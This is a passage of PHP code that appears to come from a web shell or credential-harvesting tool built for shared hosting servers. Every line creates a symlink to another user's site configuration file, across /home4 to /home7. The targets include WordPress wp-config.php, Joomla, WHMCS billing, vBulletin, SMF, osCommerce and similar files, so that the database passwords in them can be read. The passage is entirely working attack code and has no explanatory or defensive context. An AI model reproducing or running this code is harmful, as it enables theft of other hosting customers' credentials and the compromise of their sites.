  1890. symlink('/home4/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  1891. symlink('/home4/'.$user.'/public_html/config/config.php',$kola.' ~~ Lokomedia.txt');
  1892. symlink('/home4/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  1893. symlink('/home4/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  1894. symlink('/home4/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  1895. symlink('/home4/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  1896. symlink('/home4/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  1897. symlink('/home4/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  1898. symlink('/home4/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  1899. symlink('/home4/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  1900. symlink('/home4/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  1901. symlink('/home4/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  1902. symlink('/home4/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  1903. symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  1904. symlink('/home4/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  1905. symlink('/home4/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  1906. symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  1907. symlink('/home4/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  1908. symlink('/home4/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  1909. symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  1910. symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  1911. symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  1912. symlink('/home4/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  1913. symlink('/home4/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  1914. symlink('/home4/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  1915. symlink('/home4/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  1916. symlink('/home4/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  1917. symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  1918. symlink('/home4/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  1919. symlink('/home4/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  1920. symlink('/home4/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  1921. symlink('/home4/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  1922. symlink('/home4/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1923. symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1924. symlink('/home4/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  1925. symlink('/home4/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  1926. symlink('/home4/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  1927. symlink('/home4/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  1928. symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  1929. symlink('/home4/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  1930. symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  1931. symlink('/home4/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  1932. symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  1933. symlink('/home4/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  1934. symlink('/home4/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  1935. symlink('/home4/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  1936. symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  1937. symlink('/home4/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  1938. symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  1939. symlink('/home4/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  1940. symlink('/home4/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  1941. symlink('/home4/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  1942. symlink('/home4/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  1943. symlink('/home4/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  1944. symlink('/home4/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  1945. symlink('/home4/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  1946. symlink('/home4/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  1947. symlink('/home4/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  1948. symlink('/home4/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  1949. symlink('/home4/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  1950. symlink('/home5/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  1951. symlink('/home5/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  1952. symlink('/home5/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  1953. symlink('/home5/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  1954. symlink('/home5/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  1955. symlink('/home5/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  1956. symlink('/home5/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  1957. symlink('/home5/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  1958. symlink('/home5/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  1959. symlink('/home5/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  1960. symlink('/home5/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  1961. symlink('/home5/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  1962. symlink('/home5/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  1963. symlink('/home5/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  1964. symlink('/home5/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  1965. symlink('/home5/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  1966. symlink('/home5/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  1967. symlink('/home5/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  1968. symlink('/home5/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  1969. symlink('/home5/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  1970. symlink('/home5/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  1971. symlink('/home5/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  1972. symlink('/home5/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  1973. symlink('/home5/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  1974. symlink('/home5/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  1975. symlink('/home5/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  1976. symlink('/home5/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  1977. symlink('/home5/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  1978. symlink('/home5/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  1979. symlink('/home5/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  1980. symlink('/home5/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  1981. symlink('/home5/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  1982. symlink('/home5/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  1983. symlink('/home5/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  1984. symlink('/home5/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  1985. symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  1986. symlink('/home5/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  1987. symlink('/home5/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  1988. symlink('/home5/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  1989. symlink('/home5/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  1990. symlink('/home5/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  1991. symlink('/home5/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  1992. symlink('/home5/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  1993. symlink('/home5/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  1994. symlink('/home5/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  1995. symlink('/home5/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  1996. symlink('/home5/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  1997. symlink('/home5/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  1998. symlink('/home5/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  1999. symlink('/home5/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  2000. symlink('/home5/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  2001. symlink('/home5/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  2002. symlink('/home5/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  2003. symlink('/home5/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  2004. symlink('/home5/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  2005. symlink('/home5/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  2006. symlink('/home5/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  2007. symlink('/home5/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  2008. symlink('/home5/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  2009. symlink('/home5/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  2010. symlink('/home5/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  2011. symlink('/home5/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  2012. symlink('/home5/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  2013. symlink('/home5/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  2014. symlink('/home5/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  2015. symlink('/home5/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  2016. symlink('/home5/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  2017. symlink('/home5/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  2018. symlink('/home5/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  2019. symlink('/home5/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  2020. symlink('/home5/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  2021. symlink('/home5/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  2022. symlink('/home5/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  2023. symlink('/home5/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  2024. symlink('/home5/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  2025. symlink('/home5/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2026. symlink('/home5/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2027. symlink('/home5/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  2028. symlink('/home5/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  2029. symlink('/home5/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  2030. symlink('/home5/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  2031. symlink('/home5/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  2032. symlink('/home5/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  2033. symlink('/home5/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  2034. symlink('/home5/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  2035. symlink('/home5/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  2036. symlink('/home5/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  2037. symlink('/home5/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  2038. symlink('/home5/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  2039. symlink('/home5/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  2040. symlink('/home5/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  2041. symlink('/home5/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  2042. symlink('/home5/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  2043. symlink('/home5/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  2044. symlink('/home5/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  2045. symlink('/home5/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  2046. symlink('/home5/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  2047. symlink('/home5/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  2048. symlink('/home5/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  2049. symlink('/home5/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  2050. symlink('/home5/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  2051. symlink('/home5/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  2052. symlink('/home5/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  2053. symlink('/home6/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  2054. symlink('/home6/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  2055. symlink('/home6/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  2056. symlink('/home6/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  2057. symlink('/home6/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  2058. symlink('/home6/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  2059. symlink('/home6/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  2060. symlink('/home6/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  2061. symlink('/home6/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  2062. symlink('/home6/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  2063. symlink('/home6/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  2064. symlink('/home6/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  2065. symlink('/home6/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  2066. symlink('/home6/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  2067. symlink('/home6/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  2068. symlink('/home6/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  2069. symlink('/home6/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  2070. symlink('/home6/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  2071. symlink('/home6/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  2072. symlink('/home6/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  2073. symlink('/home6/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  2074. symlink('/home6/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  2075. symlink('/home6/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  2076. symlink('/home6/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  2077. symlink('/home6/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  2078. symlink('/home6/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  2079. symlink('/home6/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  2080. symlink('/home6/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  2081. symlink('/home6/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  2082. symlink('/home6/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  2083. symlink('/home6/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  2084. symlink('/home6/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  2085. symlink('/home6/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  2086. symlink('/home6/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  2087. symlink('/home6/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  2088. symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  2089. symlink('/home6/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  2090. symlink('/home6/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  2091. symlink('/home6/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  2092. symlink('/home6/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  2093. symlink('/home6/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  2094. symlink('/home6/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  2095. symlink('/home6/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  2096. symlink('/home6/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  2097. symlink('/home6/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  2098. symlink('/home6/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  2099. symlink('/home6/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  2100. symlink('/home6/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  2101. symlink('/home6/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  2102. symlink('/home6/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  2103. symlink('/home6/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  2104. symlink('/home6/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  2105. symlink('/home6/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  2106. symlink('/home6/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  2107. symlink('/home6/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  2108. symlink('/home6/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  2109. symlink('/home6/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  2110. symlink('/home6/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  2111. symlink('/home6/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  2112. symlink('/home6/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  2113. symlink('/home6/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  2114. symlink('/home6/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  2115. symlink('/home6/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  2116. symlink('/home6/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  2117. symlink('/home6/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  2118. symlink('/home6/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  2119. symlink('/home6/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  2120. symlink('/home6/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  2121. symlink('/home6/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  2122. symlink('/home6/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  2123. symlink('/home6/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  2124. symlink('/home6/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  2125. symlink('/home6/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  2126. symlink('/home6/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  2127. symlink('/home6/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  2128. symlink('/home6/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2129. symlink('/home6/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  2130. symlink('/home6/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  2131. symlink('/home6/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  2132. symlink('/home6/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  2133. symlink('/home6/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  2134. symlink('/home6/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  2135. symlink('/home6/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  2136. symlink('/home6/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  2137. symlink('/home6/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  2138. symlink('/home6/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  2139. symlink('/home6/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  2140. symlink('/home6/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  2141. symlink('/home6/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  2142. symlink('/home6/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  2143. symlink('/home6/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  2144. symlink('/home6/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  2145. symlink('/home6/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  2146. symlink('/home6/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  2147. symlink('/home6/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  2148. symlink('/home6/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  2149. symlink('/home6/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  2150. symlink('/home6/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  2151. symlink('/home6/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  2152. symlink('/home6/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  2153. symlink('/home6/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  2154. symlink('/home6/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  2155. symlink('/home6/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  2156. symlink('/home7/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  2157. symlink('/home7/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  2158. symlink('/home7/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  2159. symlink('/home7/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  2160. symlink('/home7/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  2161. symlink('/home7/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  2162. symlink('/home7/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  2163. symlink('/home7/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  2164. symlink('/home7/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  2165. symlink('/home7/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  2166. symlink('/home7/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  2167. symlink('/home7/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  2168. symlink('/home7/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  2169. symlink('/home7/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  2170. symlink('/home7/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  2171. symlink('/home7/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  2172. symlink('/home7/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
